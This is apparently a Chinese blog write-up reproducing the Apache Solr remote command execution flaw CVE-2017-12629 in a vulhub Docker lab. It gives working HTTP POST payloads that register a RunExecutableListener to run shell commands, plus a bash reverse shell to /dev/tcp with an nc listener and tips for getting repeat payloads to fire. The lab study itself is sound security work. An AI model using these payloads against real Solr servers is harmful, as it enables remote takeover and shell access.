Apache Solr远程命令执行漏洞复现CVE-2017-12629

发布于 2023-08-04  425 次阅读


前置知识

  • 首先是环境配置,cd到CVE-2017-12629目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下,启动成功
find ./ -name *CVE-2017*
docker-compose up -d
docker ps

  • 顺便记录一下,之前使用的docker ps/docker ps -a来查看容器,docker start/stop/rm来操作容器,都只能针对容器而已,如果要针对下载的镜像(比如我的电脑空间就不怎么够),就需要改一下.
  • 如果是查看容器,使用docker images(-a).其他镜像操作和容器操作相比只需要在docker后面加上image,比如这里查看所有(包括未使用的)镜像然后删除镜像.对于启动,关闭也是一样的.
docker images ps -a
docker image rm 

(好家伙,原来有这么大的文件没有删,赶快删一些)

  • 这次出现问题的服务是Apache Tomcat Web 服务器,有三个东西被涉及,Apache Tomcat,Apache Lucene和Apache Solr
  1. Apache Tomcat 是一个开源的 Java Web 服务器,用于运行 Java Servlet 和 JavaServer Pages(JSP)。它是一个容器,用于将 Java Web 应用程序部署和运行在服务器上。在 CVE-2017-12629 漏洞中,Apache Tomcat 使用了 Apache Lucene 和 Apache Solr 来实现搜索和索引的功能。
  2. Apache Lucene 是一个开源的全文搜索引擎库,用于实现文本搜索和索引功能。它提供了强大的文本搜索和分析功能,被许多应用程序用来实现全文搜索功能。在 CVE-2017-12629 漏洞中,Apache Lucene 是 Apache Solr 的核心组件之一,用于实现索引和搜索功能。
  3. Apache Solr 是基于 Apache Lucene 构建的一个开源的搜索平台,提供了全文搜索、分析、过滤、排序等功能。它扩展了 Apache Lucene 并提供了更丰富的功能,能够构建复杂的搜索应用程序。在 CVE-2017-12629 漏洞中,Apache Solr 是受影响的组件,由于漏洞的存在,可能导致远程代码执行。
  • CVE-2017-12629 漏洞涉及到了 Apache Tomcat、Apache Lucene 和 Apache Solr 这三个组件,其中 Apache Solr 是受漏洞影响的主要组件,而 Apache Tomcat 使用了 Apache Solr 来实现搜索功能。漏洞的存在使得攻击者可以通过构造恶意请求来执行远程代码,可能导致服务器被入侵或被控制。
  • 漏洞利用条件为Apache Solr < 7.1,Apache Lucene < 7.1

漏洞复现

  • 先访问一下服务,看看版本,两个组件版本均为7.0.1

  • 漏洞的利用主要是依靠postCommit和newSearcher这俩事件触发器,反正我没看大懂
在 Apache Solr 中,postCommit 和 newSearcher 是与索引操作和搜索操作相关的事件触发器。它们可以用于在索引提交
和搜索查询时执行自定义的操作,包括命令执行,从而可能导致安全漏洞。

postCommit:postCommit 是一个在索引提交后触发的事件,也就是在索引更新或新增操作完成之后执行的操作。这个事件可
以用于执行一些需要在索引更新后立即处理的任务,比如通知其他系统更新、生成缓存等。然而,如果在 postCommit 中执行
不当操作,如执行恶意命令,就可能导致安全风险。

newSearcher:newSearcher 是一个在每次 Solr 实例中的搜索器(Searcher)被创建或重新加载时触发的事件。搜索器是
用于执行搜索查询的组件。newSearcher 事件可以用于执行一些在搜索开始之前或之后需要处理的操作,比如更新一些数据、
记录日志等。同样地,如果在 newSearcher 中执行恶意操作,就可能导致安全问题。

在 CVE-2017-12629 漏洞中,攻击者能够利用 Solr 中的这些事件触发器来执行恶意的远程代码,从而实现命令执行。这是
由于 Solr 没有充分限制对于这些事件触发器的访问权限,导致攻击者可以构造恶意请求来触发这些事件并执行恶意代码,从
而影响服务器的安全性。为了防止这类风险,Solr 的管理员需要进行适当的配置和限制,确保只有受信任的操作可以触发这些
事件。
  1. postCommit 事件在索引提交后触发,可以用来执行一些与索引更新后相关的操作。例如,您可能希望在索引提交后更新缓存、发送通知或者记录日志。
  • 在solrconfig.xml配置文件中添加一个\ 元素,指定要执行的操作。示例配置如下:
xmlCopy code<updateHandler class="solr.DirectUpdateHandler2">
  <!-- 其他配置项... -->
  <listener event="postCommit" class="com.mycompany.MyPostCommitListener"/>
</updateHandler>
  • 在上述配置中,event="postCommit"表示监听 postCommit事件,class="com.mycompany.MyPostCommitListener"是一个自定义的 Java 类,它实现了org.apache.solr.core.SolrEventListener接口来处理事件。
  1. newSearcher事件在每次 Solr 搜索器被创建或重新加载时触发,可以用来执行一些与搜索操作相关的操作。例如,在搜索器创建后更新数据或者记录搜索的统计信息。
  • 在solrconfig.xml配置文件中添加一个\元素,指定要执行的操作。示例配置如下:
xmlCopy code<updateHandler class="solr.DirectUpdateHandler2">
  <!-- 其他配置项... -->
  <listener event="newSearcher" class="com.mycompany.MyNewSearcherListener"/>
</updateHandler>
  • 同样地,event="newSearcher" 表示监听 newSearcher事件,class="com.mycompany.MyNewSearcherListener"是一个自定义的 Java 类,它实现了org.apache.solr.core.SolrEventListener接口来处理事件。

  • 需要注意的是,需要编写相应的 Java 类来实现 SolrEventListener接口,并在其中定义要执行的操作。这些操作可以包括命令执行,因此在实现时务必要谨慎,确保只允许受信任的操作。在配置时,也应该限制事件监听器的访问权限,以防止潜在的安全风险。

  • 用postCommit要两步,用newSearcher一步即可,所以推荐用newSearcher的方法简单快捷。具体来说向/solr/demo/config地址post一个数据包即可。数据包如下,把要执行的命令填进去即可,这里直接用burp发

POST /solr/核心的名字/config HTTP/1.1
Host: 192.168.25.130:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "需要实行的命令"]}}
  • 发之前还得确定核心的名字,在/solr/admin/cores可以确定,这里是demo,直接填demo即可

  • 这里测试一下在tmp目录创建一个miao文件
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.101:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener",
"exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/miao"]}}

  • 然后连接这个容器的shell进去看看有没有创建成功
docker exec -i 403b871cd1c4 /bin/bash
ls /tmp/

  • 成功了,说明rce成功,挺好奇这个漏洞会不会像activemq一样反弹shell直接拿到root,试一下
nc -lvnp 8888
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.101:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener",
"exe":"sh","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/192.168.1.101/8888 0>&1"]}}

  • 没有成功,于是又查了好久,最后确定==add-listener添加的事件名字不能和之前重复,比如上面是"name":"newSearcher3",那么下面的name字段就不能是newSearcher3,随便定义一个newSearcher6就可以了.==好多文章都是打出第一个rce就润了😵‍💫

  • 如果执行成功,应该只返回一条warning

  • 如果因为名字重复失败了则会返回
'newSearcher6' already exists . Do an 'update-listener' , if you want to change it 

  • 拿touch测试一下,先用first为名字,在/tmp创建一个test1的文件,然后ls看一下
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.101:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"first","class":"solr.RunExecutableListener",
"exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test1"]}}

  • 可以看到上面创建成功了,不改name,直接再创建一个test2的文件,发包成功,创建失败
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.101:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"first","class":"solr.RunExecutableListener",
"exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test2"]}}

  • 修改name为second,再次创建名为test2的文件,创建成功
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.101:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"second","class":"solr.RunExecutableListener",
"exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test2"]}}

  • 随便改一个newSearcher6还是没弹成功.不管了,毕竟也不是一定能弹😵‍💫
POST /solr/demo/config HTTP/1.1
Host: 192.168.1.101:8983
Content-Length: 170
Content-Type: application/json

{"add-listener":{"event":"newSearcher","name":"newSearcher6","class":"solr.RunExecutableListener",
"exe":"sh","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/192.168.1.101/8888 0>&1"]}}
届ける言葉を今は育ててる
最后更新于 2024-02-07